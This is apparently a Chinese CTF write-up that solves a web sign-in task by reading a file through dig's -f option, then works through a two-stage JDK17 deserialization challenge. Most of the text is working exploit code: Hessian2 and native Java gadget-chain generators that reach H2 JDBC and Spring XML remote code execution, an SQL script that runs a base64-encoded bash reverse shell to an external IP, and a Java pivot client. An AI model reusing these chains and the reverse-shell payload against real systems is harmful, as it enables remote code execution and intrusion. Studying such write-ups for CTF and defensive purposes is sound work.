web 签到
开局 5 分钟就秒了
dig 命令读文件
https://gtfobins.github.io/gtfobins/dig/
1
| {"domain":"l1nyz-tel.cc","type":"-f/flag"}
|
chain17
从百草园打到三味书屋,再打到姥姥家
做了我好久,好累
- 开放端口出来的是 agent
- 内部才可以访问的是 server
- Agent 打的是 hessian 反序列化,有黑名单过滤
- Server 打的是原生反序列化,没有黑名单
- 两部分都是 jdk17,需要自己挖掘依赖,不是单纯地接链子
Agent
Hessian2 反序列化
Jdk 17 原生反序列化不需要考虑 Module,但是 Hessian2 反序列化需要考虑
Agent 的 docker 启动的命令也算是给出了一个小提示吧
1
| ["--add-opens", "java.base/java.util.concurrent.atomic=ALL-UNNAMED"]
|
Hint: JSONObject -> AtomicReference
codeql 在这里不太好搜,因为 JSONObject 在 Spring 包里,而 AtomicReference 在 jdk 包里
而我没法搞一个既有 spring 又有 jdk 源码的 codeql 数据库
就一直搜不到
反序列化时 JSONObject 会调用 put 加入数据,之后一直调用到下图地方
Jdk 内置类会被调 toString
AtomicReference 的 toString 可以进而触发 POJONode toString
之后打 PooledDSFactory getter 可以触发 h2 sql 执行
调用 createDataSource
之后再执行到 DriverManager.getConnection
重新建立一个 jdbc 连接
所以找 getter 的时候主要还是得看能重新建立 jdbc 连接的地方
PooledDSFactory 在 hessian2 反序列化的时候调用的是无参构造函数,会因为 Setting 为 null 而报错
需要结合 Bean#getBean
的原生反序列化来还原出来 PooledDSFactory
AtomicReference#toString->POJONode#toString->Bean#getObject->PooledDSFactory h2 rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static void main(String[] args) throws Exception { String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:1235/1.sql';";
Setting setting = new Setting(); HashMap map = new HashMap(); map.put("url",JDBC_URL); setting.putAll("",map); setFiledValue(setting,"charset",null); PooledDSFactory pooledDataSource = new PooledDSFactory(setting);
Bean bean = new Bean(); bean.setData(Serializer.serialize(pooledDataSource)); POJONode pojoNode = new POJONode(bean);
AtomicReference atomicReference = new AtomicReference(pojoNode);
JSONObject jsonObject = new JSONObject(); HashMap hashMap = new HashMap(); hashMap.put("1",atomicReference); jsonObject.put("1","teltelteltel"); setFiledValue(jsonObject,"raw",hashMap); serialize(jsonObject);
}
|
1.sql
1 2 3 4 5
| CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "tel"; }'; CALL SHELLEXEC('bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8xMjM0IDA+JjEn}|{base64,-d}|{bash,-i}')
|
rce 上去后没有足够的命令行工具,写个 java 脚本去编译执行请求那个 server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import java.net.HttpURLConnection; import java.nio.file.Files; import java.nio.file.Paths;
public class sendPost { public static void main(String[] args) throws Exception { String targetURL = "http://server:8080/read"; java.net.URL url = new java.net.URL(targetURL); java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET"); connection.setDoOutput(true); connection.setRequestProperty("Content-Type", "application/octet-stream"); connection.setRequestProperty("Connection", "close"); connection.setRequestProperty("Accept-Encoding","gzip, deflate"); connection.setRequestProperty("Accept", "*/*");
byte[] data = Files.readAllBytes(Paths.get("1.txt"));
try (java.io.OutputStream os = connection.getOutputStream()) { os.write(data, 0, data.length); }
int responseCode = connection.getResponseCode(); System.out.println("POST Response Code :: " + responseCode);
if (responseCode == HttpURLConnection.HTTP_OK) { System.out.println(connection.getResponseMessage()); System.out.println("POST request successful"); } else { System.out.println("POST request failed"); } } }
|
Server
CodeQL 搜到的,感觉 Server 比 Agent 容易打
getter -> getConstructors + newInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static void main(String[] args) throws Exception { DataType dataType = new DefaultDataType<org.springframework.context.support.ClassPathXmlApplicationContext >(SQLDialect.DEFAULT, org.springframework.context.support.ClassPathXmlApplicationContext.class, "varchar"); Val val = new Val("http://vps:1234/1.xml",dataType,false);
ConvertedVal convertedVal = new ConvertedVal(val,dataType);
POJONode pojoNode = new POJONode(convertedVal);
Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString"); Constructor constructor = cls.getDeclaredConstructor(String.class); constructor.setAccessible(true); Object xString = constructor.newInstance("1");
HashMap hashMap = makeMap(xString,pojoNode); serialize(hashMap);
}
|
然后把 base64 放入 1.txt
1 2
| javac sendPost.java java sendPost
|